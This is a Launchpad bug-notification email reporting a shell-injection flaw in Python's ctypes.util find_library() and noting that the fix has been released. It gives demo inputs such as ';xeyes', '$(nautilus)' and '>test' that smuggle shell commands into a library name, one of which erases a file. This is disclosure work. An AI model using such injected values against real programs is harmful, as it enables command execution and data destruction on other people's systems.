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-- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to python2.7 in Ubuntu. https://bugs.launchpad.net/bugs/1512068 Title: Python ctypes.util , Shell Injection in find_library() Status in Python: Fix Released Status in python2.7 package in Ubuntu: Fix Released Status in python2.7 source package in Xenial: Fix Released Bug description: https://github.com/Legrandin/ctypes/issues/1 The find_library() function can execute code when special chars like ;|`<>$ are in the name. The "os.popen()" calls in the util.py script should be replaced with "subprocess.Popen()". Demo Exploits for Linux : ==================== >>> from ctypes.util import find_library >>> find_library(";xeyes") # runs xeyes >>> find_library("|xterm") # runs terminal >>> find_library("&gimp") # runs gimp >>> find_library("$(nautilus)") # runs filemanager >>> find_library(">test") # creates, and if exists, erases a file "test" ==== Traceback ==== >>> find_library("`xmessage hello`") # shows a message, press ctrl+c for Traceback ^CTraceback (most recent call last): File "<stdin>", line 1, in <module> File "/usr/lib/python3.4/ctypes/util.py", line 244, in find_library return _findSoname_ldconfig(name) or _get_soname(_findLib_gcc(name)) File "/usr/lib/python3.4/ctypes/util.py", line 99, in _findLib_gcc trace = f.read() KeyboardInterrupt ProblemType: Bug DistroRelease: Ubuntu 15.10 Package: libpython2.7-stdlib 2.7.10-4ubuntu1 ProcVersionSignature: Ubuntu 4.2.0-16.19-generic 4.2.3 Uname: Linux 4.2.0-16-generic x86_64 ApportVersion: 2.19.1-0ubuntu4 Architecture: amd64 CurrentDesktop: XFCE Date: Sun Nov 1 10:34:38 2015 InstallationDate: Installed on 2015-10-09 (22 days ago) InstallationMedia: Ubuntu 15.10 "Wily Werewolf" - Alpha amd64 (20151009) SourcePackage: python2.7 UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/python/+bug/1512068/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
